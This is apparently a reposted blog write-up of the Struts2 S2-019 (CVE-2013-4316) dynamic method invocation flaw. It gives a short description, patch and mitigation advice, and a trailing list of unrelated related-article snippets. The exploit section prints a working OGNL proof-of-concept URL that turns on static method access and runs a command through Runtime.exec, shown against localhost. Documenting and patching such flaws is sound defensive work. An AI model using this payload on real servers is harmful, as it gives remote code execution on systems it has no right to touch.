struts2 CVE-2013-4316 S2-019 Dynamic method executions Vul
catalog
. Description
. Effected Scope
. Exploit Analysis
. Principle Of Vulnerability
. Patch Fix
1. Description
Dynamic Method Invocation is a mechanism known to impose possible security vulnerabilities, but until now it was enabled by default with warning that users should switch it off if possible.
Relevant Link:
http://struts.apache.org/docs/s2-019.html?spm=5176.775974950.2.8.iJuruO
2. Effected Scope
3. Exploit Analysis
0x1: POC
需要目标struts2应用开启debug模式
http://localhost:8080/crazyit/register.action?debug=command&expression=%23f=%23_memberAccess.getClass%28%29.getDeclaredField
%%27allowStaticMethodAccess%%,%23f.setAccessible%28true%,%23f.set%%23_memberAccess,true%,
@java.lang.Runtime@getRuntime%%.exec%%/Applications/Calculator.app/Contents/MacOS/Calculator%%
/*
http://localhost:8080/crazyit/register.action?debug=command&expression=#f=#_memberAccess.getClass().getDeclaredField
('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),
@java.lang.Runtime@getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')
*/
Relevant Link:
http://qqhack8.blog.163.com/blog/static/114147985201463194423958/
http://qqhack8.blog.163.com/blog/static/114147985201402743220859
4. Principle Of Vulnerability
5. Patch Fix
0x1: upgrade struts2
In Struts 2.3.15.2 the Dynamic Method Invocation is to false by default. Another option is to set struts.enable.DynamicMethodInvocation to false in struts.xml
<constant name="struts.enable.DynamicMethodInvocation" value="false"/>
0x2: 手动修复方法
. 使用过滤器对相关关键字进行拦截,需要修改struts.xml,并重启struts2应用进程
. 动态关闭struts2的属性开关(hotfix)
. 使用waf进行URL层面的拦截
Relevant Link:
http://www.fjssc.cn/html/research/notice/2014/0127/78.html
Copyright (c) 2015 Little5ann All rights reserved
struts2 CVE-2013-4316 S2-019 Dynamic method executions Vul的更多相关文章
- Dynamic Method Resolution
[Dynamic Method Resolution] @dynamic directive 用于声明属性的方法dynamic loading,which tells the compiler tha ...
- Dynamic Method Binding in Delphi 动态方法绑定
Dynamic Method Binding in Delphi 动态方法绑定 https://docs.dataabstract.com/Delphi/AdvancedTopics/Dynamic ...
- 多态,动态方法调度(dynamic method dispatch)?
8.多态Polymorphism,向上转型Upcasting,动态方法调度(dynamic method dispatch) 什么叫多态?简言之,马 克 - t o - w i n:就是父类引用指向子 ...
- DMI ( Dynamic Method Invocation )
功能: 点击 hello , 调用 execute 函数 点击 update , 调用 update 函数 1.项目结构 2.web.xml <?xml version="1.0&qu ...
- [Core Javascirpt] Basic Metaprogramming: Dynamic Method
Somehow it looks like reflect in Java. For example: We define an mothod on the Object, it called def ...
- 深入浅出Cocoa之消息(二)-详解动态方法决议(Dynamic Method Resolution) 【转】
序言 如果我们在 Objective C 中向一个对象发送它无法处理的消息,会出现什么情况呢?根据前文<深入浅出Cocoa之消息>的介绍,我们知道发送消息是通过 objc_send(id, ...
- Struts2入门2 Struts2深入
Struts2入门2 Struts2深入 链接: http://pan.baidu.com/s/1rdCDh 密码: sm5h 前言: 前面学习那一节,搞得我是在是太痛苦了.因为在Web项目中确实不知 ...
- struts2 s2-032漏洞分析
0x01Brief Description 最近面试几家公司,很多都问到了s2漏洞的原理,之前调试分析过java反序列化的漏洞,觉得s2漏洞应该不会太难,今天就分析了一下,然后发现其实漏洞的原理不难, ...
- ref:Struts2 命令执行系列回顾
ref:http://www.zerokeeper.com/vul-analysis/struts2-command-execution-series-review.html Struts2 命令执行 ...
随机推荐
- [资料]mysql实现地理位置搜索
mysql实现地理位置搜索 使用mysql来实现lbs(地理位置服务)功能 Mysql 地区经纬度 查询
- css3属性书写顺序
今天写了个小demo想要利用transition 和transform以及transition-delay来实现鼠标移上去的延时动画,结果发现不能实现transition的变化效果.调试后发现只有把 ...
- ajax请求过程中下载文件在火狐下的兼容问题
项目中碰到的问题,记录如下. 需求很简单,点击一个文件链接下载该文件,同时向后台发送请求.需求很常见,用户点击下载后通常要进行下载量的统计,统计的话可以利用 script标签 或者 img标签(图片p ...
- hystrix-turbine 监控的使用
1. 概述 Demo地址:http://git.oschina.net/zhou666/spring-cloud-7simple/tree/master/cloud-hystrix-turbine ...
- 化茧成蝶,开源NetWorkSocket通讯组件
前言 前后历时三年,期间大量参考.Net Framework和Asp.net MVC源代码,写写删删再重构,组件如今更新到V1.5.x了.从原来的丑小鸭,变成今天拥有稳定和强大的tcp协议支持基础层, ...
- word2vec使用说明补充(google工具包)
[本文转自http://ir.dlut.edu.cn/NewsShow.aspx?ID=253,感谢原作者] word2vec是一个将单词转换成向量形式的工具.可以把对文本内容的处理简化为向量空间中的 ...
- 将Table表格导出到Excel
1.导出当前页 效果如下: 前台代码: @{ Layout = null; } <!DOCTYPE html> <html> <head> <meta nam ...
- 数据结构——动态链表(C++)
定义一个节点: [cpp] view plain copy print? #include <iostream> using namespace std; typedef int T; ...
- mvc4 ajax.beginform表单验证
@{ Layout = null; } @model MvcApplication1.Models.User @using (Ajax.BeginForm("create", &q ...
- myeclipse 连接svn服务器验证位置时发生错误 404 forbidden
来源于:https://my.oschina.net/softwarechina/blog/220300 网上有文章说是C:\Users\thinkpad\AppData\Roaming\Subver ...